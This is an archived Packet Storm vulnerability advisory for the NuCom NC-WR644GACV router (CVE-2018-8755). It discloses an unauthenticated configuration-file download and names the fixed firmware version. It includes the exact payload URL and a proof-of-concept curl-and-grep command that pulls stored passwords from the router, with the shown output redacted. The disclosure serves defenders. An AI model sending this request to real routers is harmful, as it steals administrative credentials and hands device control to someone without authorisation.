exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NuCom NC-WR644GACV Unauthenticated Configuration File Download

NuCom NC-WR644GACV Unauthenticated Configuration File Download
Posted Jul 2, 2018
Authored by Zerial

NuCom NC-WR644GACV with software versions STA 005 and below suffer from a configuration file download vulnerability that allows for extraction of the administrative credentials.

tags | exploit, bypass
advisories | CVE-2018-8755
SHA-256 | 481d7531f60c8241e9d174340b7dfc74636635a321f74bda54a0a542f4b92749

NuCom NC-WR644GACV Unauthenticated Configuration File Download

Change Mirror Download
Overview
========
Researchers of NVEL4 Cybersecurity company have discovered that it is
possible to access to the config file bypassing admin authentication and
authorization. The vulnerability has been reported to the vendor. The
vendor has confirmed the vulnerability but not issued to security advisory.

The recommendation to affected users is to update to the latest available
version and change the credentials used, since they could have been
extracted.

Some NuCom routers are exposed to internet.


Product Details
=============
* Type: Router / Access Point (Wireless Dual Band Gigabit VoIP Router)
* Vendor: NuCom
* Model Name: NC-WR644GACV
* Vulnerable Software Version: <= STA 005
* Fixed Software Version: STA 006

Vulnerability Details
===================
* CVE: 2018-8755
* Name: Unauthenticated Configuration File Download
* Type: Authentication / Authorization Bypass
* Description: An unauthorizated user can download config file by
accessing to the URL directly
* Payload: http://[hostname]/cgi-bin/config_download.cgi?action=download
* Impact: By downloading the config file an attacker can read all
password stored in plain-text and base64 then access vie web as
administrator and gain privileged control of the device.
* CVSS v3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
* CVSS v3 Score: 7.5

PoC
====

zerial@home:~$ curl -s "http://vulnerable.hostname/
cgi-bin/config_download.cgi?action=download"|strings|grep -i password
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.1.Password_realtext=[PLAIN
PASSWORD HERE]
InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1.
WANPPPConnection.1.Password=[BASE64 PASSWORD HERE]
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.2.Password_realtext=[PLAIN
TEXT PASSWORD HERE]
InternetGatewayDevice.LANDevice.1.WLANConfiguration.5.WPS.PeerPassword=[PLAIN
TEXT PASSWORD HERE]
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.1.Password=[SHA256
PASSWORD HERE]
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.2.Password=[SHA256
PASSWORD HERE]
InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.WPS.PeerPassword=[PLAIN
TEXT PASSWORD HERE]
InternetGatewayDevice.ManagementServer.Password=[BASE64 PASSWORD HERE]
InternetGatewayDevice.ManagementServer.ConnectionRequestPassword=[BASE64
PASSWORD HERE]
zerial@home:~$

*** Sensitive information has been removed and replaced by [...]



References
===========
https://blog.nivel4.com/investigaciones/vulnerabilidad-en-los-dispositivos-nucom-wr644gacv/
<https://blog.nivel4.com>
https://twitter.com/n4security
https://twitter.com/Zerial




cheers,
--
Fernando A. Lagos Berardi - Zerial
Seguridad Informatica
Linux User #382319
Blog: https://blog.zerial.org


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close